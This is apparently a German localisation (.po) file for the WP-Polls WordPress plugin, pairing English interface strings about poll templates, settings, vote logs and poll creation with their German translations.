msgstr "Hinweis: Wenn du die Protokollierung mittels IP und Cookie oder mittels Cookie vornimmst, können Benutzer möglicherweise auch dann nicht abstimmen, wenn sie schon einmal abgestimmt haben, da das Cookie noch auf ihrem Computer gespeichert ist."

#: polls-templates.php:221
msgid "Display the poll's least voted answer"
msgstr "Zeigt die am wenigsten gewählte Antwort der Umfrage an"

#: polls-templates.php:261
msgid "Display the poll archive URL"
msgstr "Zeigt die URL des Umfragearchivs an"

#: polls-templates.php:257
msgid "Display the number of people who voted for the poll NOT the total votes of the poll"
msgstr "Zeigt die Anzahl der Personen an, die für die Umfrage gestimmt haben, NICHT die Gesamtanzahl der Stimmen der Umfrage"

#: polls-templates.php:251
msgid "Display \"checkbox\" or \"radio\" input types depending on the poll type"
msgstr "Anzeige von „Kontrollkästchen“- oder „Radio“-Eingabetypen, je nach Umfragetyp"

#: polls-templates.php:247
msgid "Display the the maximum number of answers the user can choose if the poll supports multiple answers"
msgstr "Zeigt die maximale Anzahl der Antworten an, die der Benutzer auswählen kann, wenn die Umfrage mehrere Antworten unterstützt"

#: polls-templates.php:241
msgid "Display the poll's answer percentage for the least voted answer"
msgstr "Zeigt den Prozentsatz der Antworten auf die Umfrage, für die am wenigsten gewählte Antwort, an"

#: polls-templates.php:237
msgid "Display the poll's end date/time"
msgstr "Zeigt das Enddatum/ die Endzeit der Umfrage an"

#: polls-templates.php:231
msgid "Display the poll's answer votes for the least voted answer"
msgstr "Zeigt die Abstimmungen der Umfrage für die Antwort mit den wenigsten Stimmen an"

#: polls-templates.php:227
msgid "Display the poll's start date/time"
msgstr "Zeigt das Startdatum/ die Startzeit der Umfrage an"

#: polls-templates.php:217
msgid "Display the poll's answer percentage for the most voted answer"
msgstr "Zeigt den Antwortprozentsatz der Umfrage für die meistgewählte Antwort an"

#: polls-templates.php:211
msgid "Display the poll's answer image width"
msgstr "Zeigt die Breite des Bildes der Umfrageantwort an"

#: polls-templates.php:207
msgid "Display the poll's answer votes for the most voted answer"
msgstr "Zeigt die Stimmen der Umfrage für die meistgewählte Antwort an"

#: polls-templates.php:197
msgid "Display the poll's most voted answer"
msgstr "Zeigt die meistgewählte Antwort der Umfrage an"

#: polls-templates.php:181
msgid "Display the poll's answer without HTML formatting."
msgstr "Zeigt die Antwort der Umfrage ohne HTML-Formatierung an."

#: polls-templates.php:191
msgid "Display the poll's answer votes"
msgstr "Zeigt die Antwortstimmen der Umfrage an"

#: polls-templates.php:177
msgid "Display the poll's total votes NOT the number of people who voted for the poll"
msgstr "Zeigt die Gesamtanzahl der Stimmen für die Umfrage an, NICHT die Anzahl der Personen, die für die Umfrage gestimmt haben"

#: polls-templates.php:171
msgid "Display the poll's answer"
msgstr "Zeigt die Antwort auf die Umfrage an"

#: polls-templates.php:167
msgid "Display the poll's question"
msgstr "Zeigt die Frage der Umfrage an"

#: polls-templates.php:161
msgid "Display the poll's answer ID"
msgstr "Zeigt die Antwort-ID der Umfrage an"

#: polls-templates.php:157
msgid "Display the poll's ID"
msgstr "Zeigt die ID der Umfrage an"

#: polls-options.php:213
msgid "Show Fading In And Fading Out Of Poll"
msgstr "Ein- und Ausblenden der Umfrage anzeigen"

#: polls-options.php:86
msgid "Type Of Polls To Display In Poll Archive Option"
msgstr "Option: Art der Umfragen, die im Umfragearchiv angezeigt werden sollen:"

#: polls-options.php:88
msgid "Show Poll Achive Link Option"
msgstr "Option: Umfrage-Archiv-Link anzeigen"

#: polls-templates.php:139 wp-polls.php:1943
msgid "An error has occurred when processing your poll."
msgstr "Es ist ein Fehler bei der Bearbeitung deiner Umfrage aufgetreten."

#: polls-options.php:80
msgid "Poll AJAX Style"
msgstr "AJAX-Stil der Umfrage"

#. Author of the plugin
msgid "Lester 'GaMerZ' Chan"
msgstr "Lester ‚GaMerZ‘ Chan"

#: polls-logs.php:279 polls-logs.php:329
msgid "Date"
msgstr "Datum"

#: polls-add.php:178 polls-logs.php:371 polls-manager.php:280
#: polls-manager.php:492 polls-options.php:208 polls-options.php:217
#: wp-polls.php:1790
msgid "Yes"
msgstr "Ja"

#: polls-add.php:177 polls-manager.php:279 polls-options.php:207
#: polls-options.php:216 wp-polls.php:1789
msgid "No"
msgstr "Nein"

#: polls-add.php:207 polls-manager.php:348
msgid "Cancel"
msgstr "Abbrechen"

#: polls-logs.php:192 polls-logs.php:194
msgid "%s Answer"
msgid_plural "%s Answers"
msgstr[0] "%s Antwort"
msgstr[1] "%s Antworten"

#: polls-logs.php:296 polls-logs.php:327
msgid "User"
msgstr "Benutzer"

#: polls-add.php:163 wp-polls.php:238
msgid "Remove"
msgstr "Entfernen"

#: polls-add.php:16 polls-add.php:140 polls-add.php:207 wp-polls.php:55
msgid "Add Poll"
msgstr "Umfrage hinzufügen"

#: polls-add.php:145 polls-manager.php:222 polls-manager.php:373
msgid "Question"
msgstr "Frage"

#: polls-add.php:155 polls-manager.php:262
msgid "Add Answer"
msgstr "Antwort hinzufügen"

#: polls-logs.php:16 polls-logs.php:17 polls-logs.php:21 polls-logs.php:56
#: polls-logs.php:60 polls-logs.php:93 polls-logs.php:96 wp-polls.php:1388
msgid "Guest"
msgstr "Gast"

#: polls-logs.php:159
msgid "Guests"
msgstr "Gäste"

#: polls-logs.php:178
msgid "More Than"
msgstr "Mehr als"

#: polls-logs.php:179
msgid "More Than Or Exactly"
msgstr "Mehr als oder genau"

#: polls-logs.php:181
msgid "Less Than Or Exactly"
msgstr "Weniger als oder genau"

#: polls-logs.php:182
msgid "Less Than"
msgstr "Weniger als"

#: polls-logs.php:277
msgid "IP"
msgstr "IP"

#: polls-add.php:83
msgid "Error In Adding Poll '%s'."
msgstr "Fehler beim Hinzufügen der Umfrage '%s'."

#: polls-logs.php:278
msgid "Host"
msgstr "Host"

#: polls-logs.php:157 polls-logs.php:205
msgid "Registered Users"
msgstr "Registrierte Benutzer"

#: polls-add.php:108
msgid "Poll's Answer is empty."
msgstr "Die Antwort der Umfrage ist leer."

#: polls-add.php:117
msgid "Poll '%s' (ID: %s) added successfully. Embed this poll with the shortcode: %s or go back to <a href=\"%s\">Manage Polls</a>"
msgstr "Umfrage '%s' (ID: %s) wurde erfolgreich hinzugefügt. Bette diese Umfrage mit dem Shortcode: %s ein oder gehe zurück zu <a href=\"%s\">Umfragen verwalten</a>"

#: polls-logs.php:207
msgid "Guests will automatically be excluded"
msgstr "Gäste werden automatisch ausgeschlossen"

#: polls-add.php:174 polls-manager.php:276
msgid "Allows Users To Select More Than One Answer?"
msgstr "Benutzern die Auswahl mehrerer Antworten erlauben?"

#: polls-add.php:120
msgid "Poll '%s' (ID: %s) (Shortcode: %s) added successfully, but there are some errors with the Poll's Answers. Embed this poll with the shortcode: %s or go back to <a href=\"%s\">Manage Polls</a>"
msgstr "Umfrage '%s' (ID: %s) (Shortcode: %s) wurde erfolgreich hinzugefügt, aber es gibt einige Fehler bei den Umfrageantworten. Bette diese Umfrage mit dem Shortcode: %s ein oder gehe zurück zu <a href=\"%s\">Umfragen verwalten</a>"

#: polls-logs.php:266
msgid "This default filter is limited to display only <strong>%s</strong> records."
msgstr "Dieser Standardfilter ist darauf beschränkt, nur <strong>%s</strong> Datensätze anzuzeigen."

#: polls-logs.php:117
msgid "There are a total of <strong>%s</strong> recorded vote for this poll."
msgid_plural "There are a total of <strong>%s</strong> recorded votes for this poll."
msgstr[0] "Es gibt insgesamt <strong>%s</strong> aufgezeichnete Stimme für diese Umfrage."
msgstr[1] "Es gibt insgesamt <strong>%s</strong> aufgezeichnete Stimmen für diese Umfrage."

#: polls-logs.php:134
msgid "Display All Users That Voted For"
msgstr "Alle Benutzer anzeigen, die abgestimmt haben für"

#: polls-logs.php:155 polls-logs.php:203
msgid "Voters To EXCLUDE"
msgstr "Auszuschließende Wähler"

#: polls-logs.php:163 polls-logs.php:211 polls-logs.php:246
msgid "Filter"
msgstr "Filter"

#: polls-logs.php:175
msgid "Display Users That Voted For"
msgstr "Benutzer anzeigen, die abgestimmt haben für"

#: polls-logs.php:326
msgid "No."
msgstr "Nr."

#: polls-add.php:105 polls-manager.php:168
msgid "Error In Adding Poll's Answer '%s'."
msgstr "Fehler beim Hinzufügen der Umfrageantwort '%s'."

#: polls-add.php:142 polls-manager.php:219
msgid "Poll Question"
msgstr "Frage der Umfrage"

#: polls-add.php:150 polls-manager.php:227
msgid "Poll Answers"
msgstr "Antworten der Umfrage"

#: polls-add.php:196 polls-manager.php:302
msgid "Poll Start/End Date"
msgstr "Start-/Enddatum der Umfrage"

#: polls-add.php:199 polls-manager.php:305 polls-manager.php:375
msgid "Start Date/Time"
msgstr "Startdatum/-zeit"

#: polls-add.php:203 polls-manager.php:313 polls-manager.php:376
msgid "End Date/Time"
msgstr "Enddatum/-zeit"

#: polls-logs.php:286 polls-logs.php:316 polls-manager.php:307
#: polls-manager.php:319 polls-manager.php:390 polls-manager.php:398
#: wp-polls.php:437 wp-polls.php:442 wp-polls.php:579 wp-polls.php:584
#: wp-polls.php:1042 wp-polls.php:1046
msgid "%s @ %s"
msgstr "%s um %s Uhr"

#: polls-logs.php:254
msgid "Clear Filter"
msgstr "Filter leeren"

#: polls-logs.php:276 polls-logs.php:322 wp-polls.php:237
msgid "Answer"
msgstr "Antwort"

#: polls-logs.php:180
msgid "Exactly"
msgstr "Exakt"

#: polls-logs.php:261
msgid "Poll Logs"
msgstr "Umfrageprotokolle"

#: polls-logs.php:189
msgid "1 Answer"
msgstr "Eine Antwort"

#: polls-add.php:162 polls-manager.php:249
msgid "Answer %s"
msgstr "%s. Antwort"

#: polls-logs.php:158 polls-logs.php:206
msgid "Comment Authors"
msgstr "Autoren der Kommentare"

#: polls-logs.php:125
msgid "Filter Poll's Logs"
msgstr "Protokolle der Umfrage filtern"

#: polls-logs.php:114
msgid "Poll's Logs"
msgstr "Umfrageprotokolle"

#: polls-add.php:204 polls-manager.php:324
msgid "Do NOT Expire This Poll"
msgstr "Diese Umfrage soll NICHT enden."

#: polls-add.php:126
msgid "Poll Question is empty."
msgstr "Die Frage der Umfrage ist leer."

#: polls-logs.php:118
msgid "<strong>&raquo;</strong> <strong>%s</strong> vote is cast by registered users"
msgid_plural "<strong>&raquo;</strong> <strong>%s</strong> votes are cast by registered users"
msgstr[0] "<strong> &raquo; </strong> <strong>%s </strong> Stimme wurde von registrierten Benutzern abgegeben"
msgstr[1] "<strong> &raquo; </strong> <strong>%s </strong> Stimmen wurden von registrierten Benutzern abgegeben"

#: polls-logs.php:120
msgid "<strong>&raquo;</strong> <strong>%s</strong> vote is cast by guests"
msgid_plural "<strong>&raquo;</strong> <strong>%s</strong> votes are cast by guests"
msgstr[0] "<strong> &raquo; </strong> <strong>%s </strong> Stimme wurde von Gästen abgegeben"
msgstr[1] "<strong> &raquo; </strong> <strong>%s </strong> Stimmen wurden von Gästen abgegeben"

#: polls-add.php:183 polls-manager.php:285
msgid "Maximum Number Of Selected Answers Allowed?"
msgstr "Wie viele ausgewählte Antworten sind maximal erlaubt?"

#: polls-logs.php:228
msgid "Display What This User Has Voted"
msgstr "Anzeigen, wofür dieser Benutzer abgestimmt hat"

#: polls-add.php:171 polls-manager.php:273
msgid "Poll Multiple Answers"
msgstr "Mehrere Umfrageantworten"
@ Telegram